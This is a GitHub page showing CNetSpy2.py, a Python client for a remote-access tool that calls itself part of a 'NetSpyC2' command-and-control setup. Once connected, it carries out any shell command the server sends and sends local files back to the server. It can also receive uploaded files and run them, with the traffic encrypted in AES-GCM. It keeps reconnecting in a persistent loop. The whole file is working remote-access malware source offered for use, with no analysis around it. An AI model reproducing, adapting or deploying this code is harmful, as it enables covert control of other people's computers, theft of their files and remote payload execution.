-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathCNetSpy2.py
More file actions
executable file
·305 lines (268 loc) · 11.6 KB
/
CNetSpy2.py
File metadata and controls
executable file
·305 lines (268 loc) · 11.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
#!/usr/bin/env python3
#CNetSpy Client v1.3
import socket
import os
import struct
import time
import subprocess
import hashlib
import platform
import getpass
import json
import random
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
# ----------------------------------------------------------------
# Configuración
# ----------------------------------------------------------------
SERVER_HOST = 'localhost'
SERVER_PORT = 4444
# ----------------------------------------------------------------
# Configuración de reconexión (exponencial con jitter)
# ----------------------------------------------------------------
RECONNECT_INITIAL_INTERVAL = 5 # segundos de espera inicial
RECONNECT_MAX_INTERVAL = 300 # máximo tiempo de espera entre reintentos
# ----------------------------------------------------------------
# AES-GCM utils
# ----------------------------------------------------------------
def recvall(sock, n):
data = b''
while len(data) < n:
packet = sock.recv(n - len(data))
if not packet:
return None
data += packet
return data
def send_encrypted_message(sock, plaintext: str, aes_key: bytes):
aesgcm = AESGCM(aes_key)
nonce = os.urandom(12)
ct = aesgcm.encrypt(nonce, plaintext.encode('utf-8'), None)
msg = nonce + ct
sock.sendall(struct.pack('!I', len(msg)) + msg)
def receive_encrypted_message(sock, aes_key: bytes) -> str:
raw_len = recvall(sock, 4)
if not raw_len:
return None
length = struct.unpack('!I', raw_len)[0]
data = recvall(sock, length)
if not data:
return None
nonce, ct = data[:12], data[12:]
aesgcm = AESGCM(aes_key)
return aesgcm.decrypt(nonce, ct, None).decode('utf-8')
def banner() -> str:
usr = getpass.getuser()
so = platform.system()
version = platform.release()
host = platform.node()
machin = platform.machine()
arct = platform.architecture()
pythonv = platform.python_version()
info_usr = f"{usr}@{host}"
info_so = f"{so} {version}"
machinc = f"{machin} {arct}"
lines = [
" ,---------------------------,",
" | /---------------------\\ |",
f" | | {info_usr:<22.22}| |",
f" | | {info_so:<22.22}| |",
f" | | {machinc:<22.22}| |",
" | | | |",
" | | | |",
" | \\_____________________/ |",
" |___________________________|",
" ,---\\_____ [] _______/------,",
" / /______________\\ /|",
" /___________________________________ / |",
" | NetSpyClient v1.3|(AES-GCM)| | )",
" | _ _ _ NetSpy2 [ v2.2 ] | |",
f" | o o o Python [{pythonv:<5}] | /",
" |__________________________________ |/",
" /-------------------------------------/|",
" /-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ /",
"/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ /",
"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
]
return "\n".join(lines)
# ----------------------------------------------------------------
# Ejecución de comandos y transferencia
# ----------------------------------------------------------------
def execute_command(cmd: str) -> str:
if cmd.startswith('cd '):
try:
os.chdir(cmd[3:].strip())
return f"[+] Directorio: {os.getcwd()}"
except Exception as e:
return f"[-] {e}"
res = subprocess.run(cmd, shell=True, capture_output=True, text=True)
return (res.stdout or res.stderr).strip() or '[+] Ejecutado.'
def send_file(sock, aes_key, fname):
try:
if not os.path.isfile(fname):
send_encrypted_message(sock, '[-] No encontrado.', aes_key)
return
size = os.path.getsize(fname)
h = hashlib.sha256()
with open(fname, 'rb') as f:
for chunk in iter(lambda: f.read(65536), b''):
h.update(chunk)
header = f"SIZE {size} {h.hexdigest()}"
send_encrypted_message(sock, header, aes_key)
# Enviar archivo en chunks cifrados
with open(fname, 'rb') as f:
for chunk in iter(lambda: f.read(65536), b''):
aesgcm = AESGCM(aes_key)
nonce = os.urandom(12)
ct = aesgcm.encrypt(nonce, chunk, None)
packet = nonce + ct
sock.sendall(struct.pack('!I', len(packet)))
sock.sendall(packet)
# Archivo enviado - el servidor verifica y muestra el resultado
except Exception as e:
send_encrypted_message(sock, f'[-] Error: {e}', aes_key)
def receive_file(sock, aes_key, fname):
try:
hdr = receive_encrypted_message(sock, aes_key)
if not hdr or not hdr.startswith('SIZE '):
return '[-] Encabezado inválido.'
_, sz, expected = hdr.split()
file_size = int(sz)
received = 0
h = hashlib.sha256()
with open(fname, 'wb') as f:
while received < file_size:
raw_len = recvall(sock, 4)
if not raw_len:
return '[-] Error recibiendo archivo.'
packet_len = struct.unpack('!I', raw_len)[0]
packet = recvall(sock, packet_len)
if not packet:
return '[-] Error recibiendo chunk.'
nonce = packet[:12]
ct = packet[12:]
aesgcm = AESGCM(aes_key)
chunk = aesgcm.decrypt(nonce, ct, None)
f.write(chunk)
h.update(chunk)
received += len(chunk)
if h.hexdigest() != expected:
return '[-] Hash mismatch.'
# Enviar una confirmación
send_encrypted_message(sock, f"[+] Guardado {fname}", aes_key)
return f"[+] {fname} recibido."
except Exception as e:
send_encrypted_message(sock, f'[-] Error: {e}', aes_key)
return f'[-] Error: {e}'
# ----------------------------------------------------------------
# Info de red
# ----------------------------------------------------------------
def get_network_info():
out = ''
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('8.8.8.8', 80))
out += f"IP local: {s.getsockname()[0]}\n"
s.close()
except:
out += 'Error obteniendo IP.'
return out
# ----------------------------------------------------------------
# Conexión principal al servidor con backoff exponencial
# ----------------------------------------------------------------
def connect_to_server():
backoff = RECONNECT_INITIAL_INTERVAL
while True:
try:
# Crear socket TCP simple
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((SERVER_HOST, SERVER_PORT))
# Conexión exitosa: reinicia backoff
backoff = RECONNECT_INITIAL_INTERVAL
# Paso 1: esperar mensaje de bienvenida del servidor
welcome_msg = client_socket.recv(1024).decode('utf-8').strip()
if 'NetSpyC2_Server' not in welcome_msg:
client_socket.close()
continue
# Paso 2: enviar mensaje de identificación del cliente
client_socket.sendall(b'NetSpyClient v1.3|(AES-GCM)|')
# Paso 3: recibir clave pública del servidor
data = client_socket.recv(4096)
if not data.startswith(b'PUBKEY:'):
client_socket.close()
continue
server_pub = serialization.load_pem_public_key(data[len(b'PUBKEY:'):])
# Genera AES key y la envía cifrada
aes_key = os.urandom(32)
enc = server_pub.encrypt(
aes_key,
padding.OAEP(
mgf=padding.MGF1(hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
)
)
client_socket.sendall(struct.pack('!I', len(enc)) + enc)
# Loop principal de comandos
while True:
msg = receive_encrypted_message(client_socket, aes_key)
if not msg:
break
parts = msg.strip().split(maxsplit=1)
if not parts:
continue
cmd = parts[0].upper()
try:
if cmd == 'GET_CWD':
send_encrypted_message(client_socket, os.getcwd(), aes_key)
elif cmd == 'GET_USER':
send_encrypted_message(client_socket, getpass.getuser(), aes_key)
elif cmd == 'GET_FILE':
if len(parts) == 2:
send_file(client_socket, aes_key, parts[1])
else:
send_encrypted_message(client_socket, '[-] Uso: GET_FILE <archivo>', aes_key)
elif cmd == 'PUT_FILE':
# Parsear comando PUT_FILE
if len(parts) < 2:
send_encrypted_message(client_socket, '[-] Uso: PUT_FILE <archivo>', aes_key)
continue
# Separar nombre de archivo y flags
args = parts[1].split()
fname = args[0] if args else None
execute_after = '-exc' in args
if fname:
receive_file(client_socket, aes_key, fname)
# Si tiene flag -exc, ejecutar el archivo
if execute_after:
try:
if platform.system() == 'Windows':
os.startfile(fname)
else:
subprocess.Popen(['./' + fname], shell=False)
send_encrypted_message(client_socket, f'[+] Ejecutando {fname}', aes_key)
except Exception as e:
send_encrypted_message(client_socket, f'[-] Error ejecutando: {e}', aes_key)
elif cmd == 'BANNER':
send_encrypted_message(client_socket, banner(), aes_key)
elif cmd == 'NETINFO':
send_encrypted_message(client_socket, get_network_info(), aes_key)
else:
# Ejecutar como comando shell
res = execute_command(msg)
send_encrypted_message(client_socket, res, aes_key)
except Exception as e:
send_encrypted_message(client_socket, f'[-] Error procesando comando: {e}', aes_key)
except Exception as e:
pass
finally:
try:
client_socket.close()
except:
pass
# Espera antes de reintentar (backoff exponencial + jitter)
wait_time = backoff + random.uniform(30, backoff * 0.1)
time.sleep(wait_time)
backoff = min(backoff * 2, RECONNECT_MAX_INTERVAL)
if __name__ == '__main__':
connect_to_server()